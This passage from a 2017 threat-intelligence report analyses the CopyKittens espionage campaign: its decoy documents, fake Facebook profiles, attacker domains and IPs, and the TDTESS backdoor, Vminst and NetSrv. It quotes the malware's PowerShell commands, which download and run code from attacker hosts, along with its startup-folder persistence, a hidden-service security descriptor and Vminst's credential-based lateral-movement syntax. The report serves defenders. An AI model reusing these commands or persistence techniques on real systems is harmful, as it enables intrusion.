+Page 9 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+The sample communicates with gsvr-static[.]co via DNS.
+DNS requests performed by the sample
+Yet in another case, malicious documents named 
+omnews.doc
+ and 
+pictures.doc
+ were served from the
+following locations:
+http://fetchnews-agency.news-bbc[.]press/en/20170/pictures.doc
+http://fetchnews-agency.news-bbc[.]press/omnews.doc
+The files load VBS from the following address:
+http://fetchnews-agency.news-bbc[.]press/pictures.html
+Which runs a Cobalt Strike stager that communicates with:
+a104-93-82-25.mandalasanati[.]info/iBpa
+From there, a Cobalt Strike beacon is loaded, communicating with:
+s1w-amazonaws.office-msupdate[.]solutions
+Page 10 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Embedded OLE Objects
+In February 2017 a document titled "ssl.docx" was delivered to targets, likely via email.14 It asked the recipient
+to "Please Update Your VPN Client from This Manual" [sic].
+Content of the malicious document asking the victim to update the VPN Client
+The "VPN Client manual" was an embedded OLE binary object, an executable with a reverse file extension:
+checkpointsslvpn?fdp.exe. 15 (The "?" stands for an invisible Unicode character that flips the direction of the
+string, making it look like a PDF file "exe.pdf.")16 It was composed of two files: a self-extracting executable and
+a PDF.
+Bundled executable and PDF files
+They run via the following command:
+cmd.exe /c copy zWEC.tmp %userprofile%\desktop\Maariv_Tops.pdf&&copy Ma_1.tmp
+"%userprofile%\AppData\Roaming\Microsoft\Windows\Start
+Menu\Programs\Startup"\sourcefire.pif&&cd %userprofile%\desktop&&Maariv_Tops.pdf
+The PDF file is a decoy displayed to the victim during infection. It contains content copied on March 2017 from
+the public website of Maariv, a major Israeli news outlet.
+https://www.virustotal.com/en/file/b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d38
+15dd/analysis
+https://www.virustotal.com/en/file/72efda7309f8b24cd549f61f2b687951f30c9a45fda0fc3805c12409d0ba320a/analysis/
+Copykittens have used this this method before, for example in a document named "mfaformann?fdp.exe"
+Page 11 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Content of the malicious PDF file, copied from Maariv website
+The self-extracting executable contains another executable, named p.exe, which was digitally signed with a
+stolen certificate of a legitimate company called AI Squared.
+Digital signature of p.exe
+Interestingly, this digital certificate was used by a threat group called Oilrig.17 This might indicate the two
+groups share resources or otherwise collaborate in their activity.
+http://www.clearskysec.com/oilrig/
+Page 12 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+The self-extracting executable serves as a downloader, running the following command:
+cmd.exe /c powershell.exe -nop -w hidden -c "((new-object
+net.webclient).downloadstring('http://jpsrv-java-jdkec2.javaupdate[.]co:80/JPOST'))"
+The C&C server sends back a short PowerShell code that loads a Cobalt Strike stager into memory.
+Base64 encoded PowerShell code that loads Cobalt Strike stager into memory
+Stager shellcode with marked user agent and C&C server address
+Both the docx and the executable contained the name shiranz in their metadata or file paths:
+LastModifiedBy shiranz
+C:\Users\shiranz\Desktop\checkpointsslvpn?fdp.exe
+C:\Users\shiranz\AppData\Local\Temp\checkpointsslvpn?fdp.exe
+Page 13 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+In another sample, the decoy document was in Turkish, indicating the target's nationality.18 This document
+was likely stolen from the Turkish Ministry of Foreign Affairs: test_fdp.exe.19
+Decoy document in Turkish
+While the decoy PDF document is opened, the following commands are executed:
+cmd.exe /c copy Ma_1.tmp "%userprofile%\AppData\Roaming\Microsoft\Windows\Start
+Menu\Programs\Startup"\CheckpointGO.pif&& copy sslvpn.tmp
+%userprofile%\desktop\sslvpnmanual.pdf&& cd %userprofile%\desktop&& sslvpnmanual.pdf
+cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object
+net.webclient).downloadstring('http://jpsrv-java-jdkec2.javaupdate[.]co:80/Sourcefire'))"
+https://www.hybrid-analysis.com/sample/a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37
+https://www.virustotal.com/en/file/a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37/analysis
+Page 14 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Malicious Macros
+In October 2016, the attackers uploaded to VirusTotal multiple files containing macros, likely to learn if they
+are detected by antivirus engines.
+For example, "Date.dotm" contains this default Word template content:20
+A default template of a Word document used as decoy
+The macro runs a Cobalt Strike stager that communicates with wk-in-f104.1c100.n.microsoft-security[.]host .
+The attackers also uploaded an executable files that would run a Word document with content in Hebrew.21
+Hebrew decoy document
+The word document contains a macro that runs the following command:
+cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object
+System.Net.WebClient).DownloadFile('http://pht.is.nlb-deploy.edge-dyn.e11.f20.ads-youtube.
+online/winini.exe','%TEMP%\XU.exe');&start %TEMP%\XU.exe& exit
+In parallel, the executable drops d5tjo.exe, which is the legitimate Madshi debugging tool 2223
+https://www.virustotal.com/en/file/7e3c9323be2898d92666df33eb6e73a46c28e8e34630a2bd1db96aeb39586aeb/analysis/
+https://www.virustotal.com/en/file/9e5ab438deb327e26266c27891b3573c302113b8d239abc7f9aaa7eff9c4f7bb/analysis
+https://www.virustotal.com/en/file/7ad65e39b79ad56c02a90dfab8090392ec5ffed10a8e276b86ec9b1f2524ad31/analysis
+http://help.madshi.net/madExcept.htm
+Page 15 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Fake Social Media Entities
+Back in 2013, CopyKittens used several Facebook profiles to spread links to a website impersonating Haaretz
+news, an Israeli newspaper. In the screenshot below you can see the fake profile linking to haarettz.co[.]il
+(note the extra t in the domain).
+"Erick Brown"24
+Fake profile "Erik Brown" posting link to malicious website
+"Amanda Morgan"25
+Fake profile "Amanda Morgan" posting link to malicious website
+The latter profile tagged a fake Israeli profile as her cousin, "
+Fake profile "
+https://www.facebook.com/israelhoughtonandplanetshakersphilippineconcert/posts/711649418845349
+https://www.facebook.com/ynetnews/posts/548075141952763
+https://www.facebook.com/profile.php?id=100003169608706
+Page 16 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Who in turn tagged another fake Israeli profile as her cousin 
+Fake profile "
+While "Erik Brown" has not been publicly active since September 2015, and the two other Israeli profiles have
+not been publicly active since September 2013, Amanda Morgan is still active to date. She has thousands of
+friends and 2,630 followers, many of which are Israeli. In 2015 she sent her friends an invitation to Like a
+Facebook page: "Emet press."
+Amanda Morgan invites its friends to like "Emet press"
+Emet press (Emet means "truth" in Hebrew), is described as a non-biased news aggregator operated by Israeli
+students aboard. However, the Hebrew text is clearly not written by someone who speaks Hebrew as a first
+language:
+Emet press Facebook page
+https://www.facebook.com/jessicacohe
+Page 17 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+The page re-posted news stories in Hebrew copied from online news outlets until August 2016. 28 An
+accompanying website with similar content was published in www.emetpress[.]com.
+Emet press website
+Neither the Facebook page nor website have been used to spread malicious or fake content publicly. We
+estimate that they were used to build trust with targets, and potentially send malicious content in private
+messages, however we do not have evidence of such activity.
+Looking at the website source code reveals that it was built with NovinWebGostar, a website building platform.
+Emet press source code reveals that it was built with NovinWebGostar
+NovinWebGostar belongs to an Iranian web development company with the same name.
+Website of Iranian web development company NovinWebGostar
+https://www.facebook.com/emetpress
+Page 18 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Web Hacking
+Based on logs from internet-facing web servers in target organizations, we have detected that CopyKittens use
+the following tools for web vulnerability scanning and SQL Injection exploitation.
+Havij: "An automatic SQL Injection tool, [which is] distributed by ITSecTeam, an Iranian security company."29
+Havij is freely distributed and has a graphical user interface. It is commonly used for automated SQL Injection
+and vulnerability assessments.
+sqlmap: An "automatic SQL Injection and database takeover tool."30 sqlmap is an open source penetration
+testing tool that automates the process of detecting and exploiting SQL Injection flaws and taking over
+database servers. It is capable of database fingerprinting, data fetching from the database, and accessing the
+underlying file system and executing commands on the operating system via out-of-band connections.
+Acunetix: A commercial vulnerability scanner. "Acunetix tests for SQL Injection, XSS, XXE, SSRF, Host Header
+Injection and over 3000 other web vulnerabilities."31
+http://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/
+http://sqlmap.org
+https://www.acunetix.com
+Page 19 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Infrastructure Analysis
+Domains
+Below is a list of domains that have been used for malware delivery, command and control, and hosting
+malicious websites since the beginning of the group's activity.32
+Domain
+registration date
+Impersonated company/product
+israelnewsagency[.]link
+26/06/2015
+Israeli News Agancy
+ynet[.]link
+fbstatic-akamaihd[.]com
+Cobalt Strike DNS
+wheatherserviceapi[.]info
+Cobalt Strike DNS
+Generic
+windowkernel[.]com
+Cobalt Strike DNS
+Microsoft Windows
+fbstatic-a[.]space
+Facebook
+gmailtagmanager[.]com
+Gmail
+mswordupdate17[.]com
+03/10/2015
+Microsoft Windows
+cachevideo[.]com
+Cobalt Strike DNS
+13/12/2015
+Generic
+cachevideo[.]online
+Cobalt Strike DNS
+Generic
+cloudflare-statics[.]com
+Cobalt Strike DNS
+Cloudflare
+digicert[.]online
+Cobalt Strike DNS
+DigiCert certificate authority
+fb-statics[.]com
+Cobalt Strike DNS
+Facebook
+cloudflare-analyse[.]com
+Matreyoshka
+Cloudflare
+twiter-statics[.]info
+Twitter
+winupdate64[.]com
+Microsoft Windows
+1m100[.]tech
+10/04/2016
+Google
+cloudmicrosoft[.]net
+19/04/2016
+Microsoft
+windowslayer[.]in
+Matreyoshka
+06/06/2016
+Microsoft Windows
+mywindows24[.]in
+wethearservice[.]com
+Matreyoshka
+11/07/2016
+Generic
+akamaitechnology[.]com
+Cobalt Strike SSL / TDTESS
+02/08/2016
+Akamai
+ads-youtube[.]online
+Cobalt Strike SSL
+Youtube
+akamaitechnology[.]tech
+Cobalt Strike SSL
+Akamai
+alkamaihd[.]com
+Cobalt Strike SSL
+Akamai
+alkamaihd[.]net
+Cobalt Strike SSL
+Akamai
+qoldenlines[.]net
+Cobalt Strike SSL
+Golden Lines (Israeli ISP)
+1e100[.]tech
+Google
+ads-youtube[.]net
+Youtube
+azurewebsites[.]tech
+Microsoft Azure
+chromeupdates[.]online
+Google Chrome
+elasticbeanstalk[.]tech
+Amazon AWS Elastic Beanstalk
+microsoft-ds[.]com
+Microsoft
+trendmicro[.]tech
+Trend Micro
+fdgdsg[.]xyz
+03/08/2016
+Generic
+microsoft-security[.]host
+Cobalt Strike SSL
+09/08/2016
+Microsoft
+Ynet Israeli news outlet
+04/09/2015
+Akamai
+Microsoft Windows
+Some have been reported in our previous public reports
+Page 20 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Domain
+registration date
+Impersonated company/product
+cissco[.]net
+Cobalt Strike DNS
+29/08/2016
+Cissco
+cloud-analyzer[.]com
+Cobalt Strike DNS
+Cellebrite (?)
+f-tqn[.]com
+Cobalt Strike DNS
+Generic
+mcafee-analyzer[.]com
+Cobalt Strike DNS
+Mcafee
+microsoft-tool[.]com
+Cobalt Strike DNS
+Microsoft
+mpmicrosoft[.]com
+Cobalt Strike DNS
+Microsoft
+officeapps-live[.]com
+Cobalt Strike DNS
+Microsoft
+officeapps-live[.]net
+Cobalt Strike DNS
+Microsoft
+officeapps-live[.]org
+Cobalt Strike DNS
+Microsoft
+primeminister-goverment-techcenter[.]tech
+05/09/2016
+Israeli Prime Minister Office
+sdlc-esd-oracle[.]online
+09/10/2016
+Oracle
+jguery[.]online
+BEEF
+13/10/2016
+Jquery
+javaupdate[.]co
+16/10/2016
+Oracle
+jguery[.]net
+BEEF
+19/10/2016
+Jquery
+terendmicro[.]com
+Cobalt Strike DNS
+12/12/2016
+Trend Micro
+windowskernel14[.]com
+20/12/2016
+Microsoft Windows
+gstatic[.]online
+28/12/2016
+Google
+ssl-gstatic[.]online
+broadcast-microsoft[.]tech
+Cobalt Strike DNS
+newsfeeds-microsoft[.]press
+Cobalt Strike DNS
+Microsoft
+sharepoint-microsoft[.]co
+Cobalt Strike DNS
+Microsoft
+dnsserv[.]host
+Generic
+nameserver[.]win
+Generic
+nsserver[.]host
+Generic
+owa-microsoft[.]online
+Microsoft Outlook
+owa-microsoft[.]online
+Cobalt Strike DNS
+Microsoft Outlook
+gsvr-static[.]co
+13/02/2017
+Generic
+winfeedback[.]net
+Cobalt Strike DNS
+28/02/2017
+Microsoft Windows
+win-update[.]com
+Cobalt Strike DNS
+intelchip[.]org
+Cobalt Strike DNS
+ipresolver[.]org
+Cobalt Strike DNS
+Generic
+javaupdator[.]com
+Cobalt Strike DNS
+Generic
+labs-cloudfront[.]com
+Cobalt Strike DNS
+Amazon CloudFront
+outlook360[.]net
+Cobalt Strike DNS
+Microsoft Outlook
+updatedrivers[.]org
+Cobalt Strike DNS
+Generic
+outlook360[.]org
+Cobalt Strike DNS
+Microsoft Outlook
+windefender[.]org
+Cobalt Strike DNS
+Microsoft
+microsoft-office[.]solutions
+gtld-servers.zone
+Cobalt Strike SSL
+Root DNS servers
+gtld-servers.solutions
+Cobalt Strike SSL
+Root DNS servers
+gtld-servers.services
+Cobalt Strike SSL
+Root DNS servers
+akamai-net.network
+azureedge-net.services
+Microsoft Azure
+cloudfront.site
+Cloudfront
+googlusercontent.center
+Google
+Google
+18/01/2017
+Microsoft
+Microsoft Windows
+01/03/2017
+23/04/2017
+01/07/2017
+Intel
+Microsoft
+Akamai
+Page 21 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Domain
+registration date
+Impersonated company/product
+windows-updates.network
+Microsoft Windows
+windows-updates.services
+Microsoft Windows
+akamaized.online
+cdninstagram.center
+netcdn-cachefly.network
+Akamai
+01/07/2017
+Instegram
+CacheFly
+Noteworthy observations about the domains:
+ Domains impersonate one of four categories:
+ Major internet and software companies and services 
+ Microsoft, Google, Akamai, Cloudflare,
+Amazon, Oracle, Facebook, Cisco, Twitter, Intel
+ Security companies and products 
+ Trend Micro, McAfee, Microsoft Defender, and potentially
+Cellebrite
+ Israeli organizations of interest to the victim 
+ News originations, Israeli Prime Minister Office,
+an Israeli ISP
+ Other organizations or generic web services
+ The attackers always use Whoisguard for Whois details protection.33
+ Domains are usually registered in bulk every few months.
+ Long subdomains are created like those used by Content Delivery Networks. For example:
+wk-in-f104.1e100.n.microsoft-security[.]host
+ns1.static.dyn-usr.gsrv01.ssl-gstatic[.]online
+c20.jdk.cdn-external-ie.1e100.alkamaihd[.]net
+msnbot-sd7-46-194.microsoft-security[.]host
+ns2.static.dyn-usr.gsrv02.ssl-gstatic.online
+static.dyn-usr.g-blcse.d45.a63.alkamaihd[.]net
+ea-in-f155.1e100.microsoft-security[.]host
+is-cdn.edge.g18.dyn.usr-e12-as.akamaitechnology[.]com
+static.dyn-usr.f-login-me.c19.a23.akamaitechnology[.]com
+pht.is.nlb-deploy.edge-dyn.e11.f20.ads-youtube[.]online
+ae13-0-hk2-96cbe-1a-ntwk-msn.alkamaihd[.]com
+be-5-0-ibr01-lts-ntwk-msn.alkamaihd[.]com
+a17-h16.g11.iad17.as.pht-external.c15.qoldenlines[.]net
+ Some of the domains have been in use for more than two years.
+http://www.whoisguard.com/
+Page 22 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Often the attackers would point malicious domains to IPs not in their control. For example, as can be seen in
+the screenshot below from PassiveTotal, multiple domains and hosts (marked red) were pointed to a nonmalicious IP owned by Google.3435
+Multiple domains and hosts pointing to a non-malicious IP owned by Google
+This pattern was instrumental for us in pivoting and detecting further malicious domains.
+Multiple domains and hosts pointing to a non-malicious IP owned by Google
+https://passivetotal.org/search/172.217.20.78
+https://passivetotal.org/search/172.217.0.227
+Page 23 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+The table below lists IPs used by the attackers, how they were used, and their autonomous system name and
+number.36 Notably, most are hosted in the Russian Federation, United States, and Netherlands.
+Country
+AS name
+206.221.181.253
+Cobalt Strike
+United States
+Choopa LLC
+AS20473
+66.55.152.164
+Cobalt Strike
+United States
+Choopa LLC
+AS20473
+68.232.180.122
+Cobalt Strike
+United States
+Choopa LLC
+AS20473
+173.244.173.11
+Metasploit and web hacking
+United States
+eNET Inc.
+AS10297
+173.244.173.12
+Metasploit and web hacking
+United States
+eNET Inc.
+AS10297
+173.244.173.13
+Metasploit and web hacking
+United States
+eNET Inc.
+AS10297
+209.190.20.149
+United States
+eNET Inc.
+AS10297
+209.190.20.59
+United States
+eNET Inc.
+AS10297
+209.190.20.62
+United States
+eNET Inc.
+AS10297
+209.51.199.116
+Metasploit and web hacking
+United States
+eNET Inc.
+AS10297
+38.130.75.20
+United States
+Foxcloud Llp
+AS200904
+185.92.73.194
+United States
+Foxcloud Llp
+AS200904
+146.0.73.109
+Cobalt Strike
+Netherlands
+Hostkey B.v.
+AS57043
+146.0.73.110
+Netherlands
+Hostkey B.v.
+AS57043
+146.0.73.111
+Metasploit and web hacking
+Netherlands
+Hostkey B.v.
+AS57043
+146.0.73.112
+Cobalt Strike
+Netherlands
+Hostkey B.v.
+AS57043
+146.0.73.114
+Cobalt Strike
+Netherlands
+Hostkey B.v.
+AS57043
+144.168.45.126
+BEEF SSL Server
+United States
+Incero LLC
+AS54540
+217.12.201.240
+Cobalt Strike
+Netherlands
+ITL Company
+AS21100
+217.12.218.242
+Cobalt Strike
+Netherlands
+ITL Company
+AS21100
+5.34.180.252
+Cobalt Strike
+Netherlands
+ITL Company
+AS21100
+5.34.181.13
+Cobalt Strike
+Netherlands
+ITL Company
+AS21100
+188.120.224.198
+Cobalt Strike
+Russian Federation
+JSC ISPsystem
+AS29182
+188.120.228.172
+Russian Federation
+JSC ISPsystem
+AS29182
+188.120.242.93
+Cobalt Strike
+Russian Federation
+JSC ISPsystem
+AS29182
+188.120.243.11
+Russian Federation
+JSC ISPsystem
+AS29182
+188.120.247.151
+TDTESS
+Russian Federation
+JSC ISPsystem
+AS29182
+62.109.2.52
+Cobalt Strike
+Russian Federation
+JSC ISPsystem
+AS29182
+188.120.232.157
+Cobalt Strike
+Russian Federation
+JSC ISPsystem
+AS29182
+185.118.65.230
+Russian Federation
+LLC CloudSol
+AS59504
+185.118.66.114
+Russian Federation
+LLC CloudSol
+AS59504
+141.105.67.58
+Metasploit and web hacking
+Russian Federation
+Mir Telematiki Ltd
+AS49335
+141.105.68.25
+Cobalt Strike
+Russian Federation
+Mir Telematiki Ltd
+AS49335
+141.105.68.26
+Metasploit and web hacking
+Russian Federation
+Mir Telematiki Ltd
+AS49335
+141.105.68.29
+Metasploit and web hacking
+Russian Federation
+Mir Telematiki Ltd
+AS49335
+141.105.69.69
+Cobalt Strike
+Russian Federation
+Mir Telematiki Ltd
+AS49335
+141.105.69.70
+matreyoshka
+Russian Federation
+Mir Telematiki Ltd
+AS49335
+141.105.69.77
+Metasploit and web hacking
+Russian Federation
+Mir Telematiki Ltd
+AS49335
+Some have been reported in our previous public reports
+Page 24 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Country
+AS name
+31.192.105.16
+Cobalt Strike
+Russian Federation
+Mir Telematiki Ltd
+AS49335
+31.192.105.17
+Metasploit and web hacking
+Russian Federation
+Mir Telematiki Ltd
+AS49335
+31.192.105.28
+Cobalt Strike
+Russian Federation
+Mir Telematiki Ltd
+AS49335
+158.69.150.163
+Cobalt Strike
+Canada
+OVH SAS
+AS16276
+176.31.18.29
+Cobalt Strike
+France
+OVH SAS
+AS16276
+188.165.69.39
+Cobalt Strike
+France
+OVH SAS
+AS16276
+192.99.242.212
+Cobalt Strike
+Canada
+OVH SAS
+AS16276
+198.50.214.62
+Cobalt Strike
+Canada
+OVH SAS
+AS16276
+51.254.76.54
+Cobalt Strike
+France
+OVH SAS
+AS16276
+198.55.107.164
+United States
+QuadraNet Inc
+AS8100
+104.200.128.126
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.161
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.173
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.183
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.184
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.185
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.187
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.195
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.196
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.198
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.205
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.206
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.208
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.209
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.48
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.58
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.64
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+104.200.128.71
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+107.181.160.138
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+107.181.160.178
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+107.181.160.194
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+107.181.160.195
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+107.181.161.141
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+107.181.174.21
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+107.181.174.228
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+107.181.174.232
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+107.181.174.241
+Cobalt Strike
+United States
+Total Server Solutions L.L.C.
+AS46562
+86.105.18.5
+Cobalt Strike
+Netherlands
+WorldStream B.V.
+AS49981
+93.190.138.137
+Netherlands
+WorldStream B.V.
+AS49981
+212.199.61.51
+Cobalt Strike
+Israel
+012 Smile Communications LTD.
+AS9116
+80.179.42.37
+Israel
+012 Smile Communications LTD.
+AS9116
+80.179.42.44
+Israel
+012 Smile Communications LTD.
+AS9116
+Page 25 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Recently the attackers implemented self-signed certificates in some of the severs they manage, impersonating
+Microsoft and Google.37
+Self-signed digital certificate impersonating Microsoft as captured by censys.io
+https://censys.io/certificates/f4aaac7d6aafc426d1adbe3b845a26c4110f7c9e54145444a8668718b84cbdb0
+Page 26 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Malware
+In this chapter we analyze and review malware used by CopyKittens.
+TDTESS Backdoor
+TDTESS (22fd59c534b9b8f5cd69e967cc51de098627b582) is 64-bit .NET binary backdoor that provides a
+reverse shell with an option to download and execute files. It routinely calls in to the command and control
+server for new instructions using basic authentication. Commands are sent via a web page. The malware
+creates a stealth service, which will not show on the service manager or other tools that enumerate services
+from WINAPI or Windows Management Instrumentation.
+Installation and removal
+TDTESS can run as either an interactive or non-interactive (service) program. When called interactively, it
+receives one of the two arguments: installtheservice to install itself or uninstalltheservice to remove itself. The
+arguments are described below:
+installtheservice
+If running with administrator privileges, it will install a service with the following characteristics:
+Key name: bmwappushservice
+Display name: bmwappushsvc
+Description: WAP Push Message Routing Service
+Type: own (runs in its own process)
+Start type: auto (starts each time the computer is restarted and runs even if no one logs on to the
+computer)
+Path: <main executable path> (In our analysis: c:\Users\PC008\Desktop\t.exe)
+Security descriptor:
+D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLC
+SWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;F
+A;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
+Service information from command-line using sc tool
+The hardcoded security descriptor used to create the service is a persistence technique. Interactive users, even
+if they are administrators, cannot stop or even see the service in services.msc snap-in.
+Page 27 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Following is a list of denied commands:
+service_change_config
+service_query_status
+service_stop
+service_pause_continue
+delete
+Service information in Registry
+Two log files are created during the service installation, but deleted by the program. Following is their
+recovered content:
+InstallUtil.InstallLog
+<filename>.t.InstallLog
+After creating the service, it will update the file creation time to that of the following file:
+%windir%\system32\svchost.exe
+Page 28 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+uninstalltheservice
+If running with administrator privileges, it will uninstall the said service, create log files and then deletes them.
+InstallUtil.InstallLog
+<filename>.t.InstallLog
+Because the service installing mechanism appears to be default for .NET programs, the creator of the tool
+deletes the log files right after they are created.
+If no argument is given when called interactively, the program terminates itself.
+Functionality
+The service is started immediately after installation. After five minutes, it verifies internet connectivity by
+making a HTTP HEAD request to microsoft.com.
+Then it tries to access the C&C servers looking for commands.
+Hardcoded HTTP parameters and URL
+Page 29 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+As a reply, TDTESS expects one of the following Bas64 encoded commands:
+getnrun - download and execute a file. Parameters are drop, drop_path and t.
+runnreport - send information about the computer. Parameters are cmd and boss.
+wait - time to next interval to get data.
+Getnrun command and parameters
+Indicators of Compromise
+File name:
+tdtess.exe
+md5:
+113ca319e85778b62145019359380a08
+Services:
+bmwappushservice
+Registry Keys:
+HKLM\System\CurrentControlSet\Services\bmwappushservice
+URLs:
+http://is-cdn.edge.g18.dyn.usr-e12-as.akamaitechnology[.]com/deploy/assets/css/main/style.min.css
+http://a17-h16.g11.iad17.as.pht-external.c15.qoldenlines[.]net/deploy/assets/css/main/style.min.css
+HTTP artifacts:
+"User-Agent : XXXXXXXXXXXXXXXXX/5.0 (Windows NT 6.1 WOW64; Trident/7.0; AS; rv:11.0) like Gecko"
+"Proxy-Authorization : Basic [Data]" 
+ [Data] Will contain the TDTESS encrypted data to send
+Page 30 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Vminst for Lateral Movement
+Vminst (a60a32f21ac1a2ec33135a650aa8dc71) is a lateral movement tool used to infect hosts in the network
+using previously stolen credentials. It Injects Cobalt Strike into memory of infected hosts.
+The binary implements ServiceMain and is intended to be installed as a service named 
+sdrsrv.
+ When it
+functions as a service, it injects Cobalt Strike beacon into its own process (which is 32-bit 
+svchost
+) or creates
+a new 32-bit 
+rundll32
+ process and injects the beacon into the new process. The injection method depends
+on the parameter received when the service was created.
+It is configured to open a new 
+rundll32
+ process in suspend-mode and create a remote thread which executes
+a Cobalt Strike beacon or shellcode.
+The binary has the option to run and load itself in memory. It also has the option to be executed through its
+exported function "v," which gets a base64 string parameter built as follows:
+Base-64-Encode(
+/mv /OptionalCommand
+OptionalCommand can be one of the following:
+help - prints usage instructions:
+[*] /help V160\n
+Get : Create Service and run beacon over self thread\n
+[*] /get ip (use current token)\n
+[*] /get ip domain user pass\n
+[*] /get ip user pass\n
+New : Create Service and run beacon over new rundll32.exe thread\n
+[*] /new ip (use current token)\n
+[*] /new ip domain user pass\n
+[*] /new ip user pass\n
+[*] /new ip user pass\n
+Del : Delete service and related dlls from remote host
+[*] /del ip domain user pass\n
+[*] /del ip user pass\n
+[*] /del ip\n
+Run : Run a new beacon !\n
+[*] /run [no arguments]
+del - stops and deletes the service 
+sdrsrv,
+ and deletes the following files:
+\\ [IP or computer name (Can be Localhost)]\C$\Users\public\vminst.tmp
+\\ [IP or computer name (Can be Localhost)]\C$\Windows\Temp\vminst.tmp
+\\ [IP or computer name (Can be Localhost)]\C$\Windows\vminst.tmp
+scan - sends 
+[ok]
+ to the parent of its parent process.
+info - sends 
+[ok]
+ to the parent of its parent process.
+run - injects a beacon into a new 
+rundll32
+ process.
+get - gets an IP address, installs and starts the 
+sdrsrv
+ service in the remote hosts.
+new - gets IP address, deletes the old vminst from install path, and installs the 
+sdrsrv
+ service in the
+remote hosts. Then, starts the service with parameter 
+NEW_THREAD
+ that runs the service. This
+command is likely used for updating the implant.
+The attacker uses vminst.tmp to spread across the organization. Using the command 
+rundll32 vminst.tmp,v
+/mv /get ip-segment credentials
+ it enumerates the segments and tries to connect to the hosts through SMB
+GetFileAttributes
+ to network path), installing the 
+sdrsrv
+ service in each host it can access.
+Page 31 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Indicators of Compromise
+File name:
+vminst.tmp
+md5:
+A60A32F21AC1A2EC33135A650AA8DC71
+Services:
+sdrsrv
+Registry Keys:
+HKLM\System\CurrentControlSet\Services\sdrsrv
+Path:
+\\ [IP or computer name (Can be Localhost)]\C$\Users\public\[File]
+\\ [IP or computer name (Can be Localhost)]\C$\Windows\Temp\[File]
+\\ [IP or computer name (Can be Localhost)]\C$\Windows\[File]
+File, one of:
+vminst.tmp - The malware
+l.tmp - Log file from last V command
+NetSrv 
+ Cobalt Strike Loader
+NetSrv (efca6664ad6d29d2df5aaecf99024892) loads Cobalt Strike beacons and shellcodes in infected
+computers.
+The binary implements ServiceMain, intended to be installed as a service named 
+netsrv.
+ When it functions
+as a service, it is configured to open a new 
+rundll32
+ process in suspend-mode and create a remote thread
+that executes a Cobalt Strike beacon or shellcode.
+The binary also has the option to be executed with parameters that determine what it will inject into the
+rundll32
+ process. The command-line is as follows:
+netsrv.exe /managed /ModuleToInject
+The ModuleToInject can be one of these options:
+sbdns
+slbdnsk1
